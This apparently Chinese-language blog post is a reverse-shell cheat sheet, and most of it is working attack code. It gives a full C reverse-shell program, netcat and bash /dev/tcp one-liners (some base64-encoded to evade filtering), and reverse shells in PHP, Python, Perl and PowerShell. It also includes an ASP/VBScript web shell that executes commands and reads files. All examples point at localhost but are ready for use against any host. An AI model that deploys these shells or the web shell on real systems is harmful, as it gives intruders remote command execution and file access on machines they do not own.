guest@blog.cmj.tw: ~/posts $

Rerverse Shell


Reverse Shell

已知生火

Basic

在 Reverse Shell 的世界中,最基本兩點在於 1) 建立網路連線與 2) 產生一個 shell 環境。透過 C 實做這個概念,就需要產生兩個主要的部分:socket 與 execv。socket 是用來建立一個網路連線, reverse 的意思就是在受害者端主動建立連線,這種方式就可以避免主機因為開啟特定監聽 (listen) port 而觸發防火牆原則。

下面的範例程式在建立好 socket 之後,透過執行 dup2 將三個標準 I/O 重新導向到綁定的網路連線, 接著透過 execv 執行一個 shell,攻擊者就可以連線到目標主機 (權限同執行 reverse shell)。

/* Copyright (C) 2017-2017 cmj. All right reserved. */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <getopt.h>
#include <errno.h>
#include <netdb.h>
#include <unistd.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <sys/socket.h>

/* Simple reverse shell written by C
 *
 * It only test on the Mac OS X 10.12.6 by Apple LLVM 9.0.0 (clang-900.0.38)
 */

#define SH "/bin/sh"

#if DEBUG
#	define _D(msg, ...)
#else
#	define _D(msg, ...) fprintf(stderr, "[%s %3d] " msg "\n", __FILE__, __LINE__, ##__VA_ARGS__)
#endif

int main(int argc, char *argv[]) {
	int sk = -1, optIdx = -1, port = 34182, cnt = 1;
	char ch, opts[] = "hH:p:r:", addr[16] = {0};
	struct option options[] = {
		{"help",	no_argument,		0, 'h'},
		{"host",	required_argument,	0, 'H'},
		{"port",	required_argument,	0, 'p'},
		{"retry",	required_argument,	0, 'r'},
		{NULL, 0, 0, 0}
	};
	struct hostent *hostent = NULL;
	struct sockaddr_in server;

	while (-1 != (ch = getopt_long(argc, argv, opts, options, &optIdx))) {
		switch (ch) {
			case 'H':
				snprintf(addr, sizeof(addr), "%s", optarg);
				break;
			case 'p':
				port = atoi(optarg);
				break;
			case 'r':
				cnt = atoi(optarg);
				break;
			default:
				fprintf(stderr, "%s [-p port:34182] [-H host]\n", argv[0]);
				exit(-1);
				break;
		}
	}

	server.sin_family      = AF_INET;
	server.sin_addr.s_addr = inet_addr(addr);
	server.sin_port        = htons(port);

	/* check the target host is valid */
	if (NULL == (hostent = gethostbyname(addr))) {
		_D("gethostbyname `%s` failure %s", addr, strerror(errno));
		return -1;
	}

	/* retry connection */
	while (cnt > 0) {
		if (sk >= 0) close(sk);

		if (0 > (sk = socket(AF_INET, SOCK_STREAM, 0))) {
			_D("sock create failure %s", strerror(errno));
			cnt --;
			continue;
		} else if (0 > connect(sk, (struct sockaddr *)&server, sizeof(server))) {
			_D("connect failure %s", strerror(errno));
			cnt --;
			continue;
		}

		dup2(sk, 0);	/* STDIN  */
		dup2(sk, 1);	/* STDOUT */
		dup2(sk, 2);	/* STDERR */

		execv(SH, NULL);
		break;
	}

	return 0;
}

另一種方式則是透過現有的工具程式 Net Cat :他可以透過指令的方式連線到指定目標,並且透過 -e 來執行指令:

nc -d 127.0.0.1 34182 -e /bin/sh

Linux

針對 Linux 的環境中,最簡單的一個 reverse shell 就是直接藉由 bash -i 這種互動 shell 來執行 ,另一方面,則是透過 /dev/tcp 這個特殊裝置來產生對外連線。整合起來就可以透過一個簡單的指令, 來產生 reverse shell:

> bash -i >& /dev/tcp/127.0.0.1/34182 0>&1

上面這個指令的意思,是將 stdout/stderr 全部轉向 到檔案 /dev/tcp/127.0.01/34182,接著再將 stdin 轉向到 stdout。但是在遇到輸入內容被過濾時,則需要使用 base64 做額外的編碼:

> echo "/bin/sh -i >& /dev/tcp/127.0.0.1/34182 0>&1" | sh
> echo -n "/bin/sh -i >& /dev/tcp/127.0.0.1/34182 0>&1" | base64 | base64 -d | sh
> echo L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNTU2NiAwPiYx | base64 -d | sh

透過這個概念就可以針對各種程式語言,來設計出相對的 reverse shell:

PHP

在 PHP 階段開啟一個 web socket (預計他的 File Descriptor 會是 3),所以將 socket 收到的內容, 重新導向給 bash 而產生的內容再透過 socket 送出去。

<?php $sk = fsockopen("127.0.0.1", 34182); exec("/bin/bash -i <&3 >&3 2>&3"); ?>

Python

跟 PHP 一樣的概念:產生一個 socket 並且透過 os.popen 產生 reverse shell:

import socket, os;
sk = socket.create_connection(("127.0.0.1", 34182));
fd = sk.fileno();
os.popen("bash -i <&{0} >&{0} 2>&{0}".format(fd));

Python3

在 Python3 版本中需要做一些修改

import socket, os, subprocess;
sk = socket.create_connection(("127.0.0.1", 34182));
fd = sk.fileno();
subprocess.Popen(["/bin/sh", "-c", f"/bin/sh -i <{fd} >&{fd} 2>&{fd}"]);

Perl

跟 PHP 一樣的概念:產生一個 socket 並且透過 exec("/bin/sh -i") 產生 reverse shell:

use Socket;
socket(s, AF_INET, SOCK_STREAM, 0);
connect(s, pack_sockaddr_in(34182, inet_aton("127.0.0.1"))) or die;
open(STDIN, ">&s"); open(STDOUT, ">&s"); open(STDERR, ">&s");
exec("/bin/sh -i");

Windows

ASP / VB

在 VB 的世界中,可以用 CreateObject(“Wscript.Shell”) 來執行一個可執行檔。想要執行的檔案, 可預先放到機器中,或者透過 CreateObject(“Scripting.FileSystemObject”) 來建立一個檔案。

<HTML>

<%
	Set NET   = Server.CreateObject("WSCRIPT.NETWORK")
	Set SHELL = Server.CreateObject("WSCRIPT.SHELL")
	Set FILE  = Server.CreateObject("Scripting.FileSystemObject")
	cmd   = request("cmd")
	path  = request("path")
	ftype = request("type")

	computer = NET.UserName & "@" & NET.ComputerName
	Response.Write("<h2>Computer " & computer & "</h2><BR>")
%>

<form action='' method='GET'>
	<label># </label><input type='text' name='cmd' value="<%=cmd%>">
	<input type='text' name='path' value="<%=path%>" hidden/>
	<input type='text' name='type' value="<%=ftype%>" hidden/>
	<input type='submit'>
</form>
<BR>
<%
	If path = "" then
		path = "C:\"
	End If
	if ftype = "" then
		ftype = 1
	End If

	If cmd <> "" then
		set resp = SHELL.exec(cmd)
		Response.Write("<pre style='width:800px;'>----<br>")
		Response.Write("> " & cmd & "<br>")
		Response.Write(resp.StdOut.ReadAll)
		Response.Write(resp.StdErr.ReadAll)
		Response.Write("<br>----</pre>")
	End If

	If ftype = 1 then
		ListDir(path)
	ElseIf ftype = 2 then
		ReadFile(path)
	End If
%>

<%
Sub ReadFile(path)
	set ptr = FILE.OpenTextFile(path, 1)

	Response.Write("<pre style='width:800px;'> ---- <br>")
	Response.Write(ptr.ReadAll)
	Response.Write("</pre>")
End Sub
Sub ListDir(path)
	Set FOLDER = FILE.GetFolder(path)
	tmp = "+ <a href='?path=" & path & "\..'>..</a>"
	Response.Write(tmp & "<BR>")

	for each x in FOLDER.SubFolders
		tmp = "+ <a style='display: inline-block; margin-right: 50px;' href='?type=1&path=" & server.URLencode(x.path) & "'>" & x.Name & "</a>"
		Response.Write(tmp & "<BR>")
	next

	for each x in FOLDER.Files
		tmp = "- <a style='display: inline-block; margin-right: 50px;' href='?type=2&path=" & server.URLencode(x.path) & "'>" & x.Name & "</a>"
		tmp = tmp & "<label>" & x.Size & "</label>"
		Response.Write(tmp & "<BR>")
	next

End Sub
%>

PowerShell

網路上找到的 PowerShell Reverse Shell

$socket = new-object System.Net.Sockets.TcpClient('127.0.0.1', 34182);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do
{
	$writer.Flush();
	$read = $null;
	$res = ""
	while($stream.DataAvailable -or $read -eq $null) {
		$read = $stream.Read($buffer, 0, 1024)
	}
	$out = $encoding.GetString($buffer, 0, $read).Replace("`r`n","").Replace("`n","");
	if(!$out.equals("exit")){
		$args = "";
		if($out.IndexOf(' ') -gt -1){
			$args = $out.substring($out.IndexOf(' ')+1);
			$out = $out.substring(0,$out.IndexOf(' '));
			if($args.split(' ').length -gt 1){
				$pinfo = New-Object System.Diagnostics.ProcessStartInfo
				$pinfo.FileName = "cmd.exe"
				$pinfo.RedirectStandardError = $true
				$pinfo.RedirectStandardOutput = $true
				$pinfo.UseShellExecute = $false
				$pinfo.Arguments = "/c $out $args"
				$p = New-Object System.Diagnostics.Process
				$p.StartInfo = $pinfo
				$p.Start() | Out-Null
				$p.WaitForExit()
				$stdout = $p.StandardOutput.ReadToEnd()
				$stderr = $p.StandardError.ReadToEnd()
				if ($p.ExitCode -ne 0) {
					$res = $stderr
				} else {
					$res = $stdout
				}
			}
			else{
				$res = (&"$out" "$args") | out-string;
			}
		}
		else{
			$res = (&"$out") | out-string;
		}
		if($res -ne $null){
		$writer.WriteLine($res)
	}
	}
}While (!$out.equals("exit"))
$writer.close();
$socket.close();
$stream.Dispose()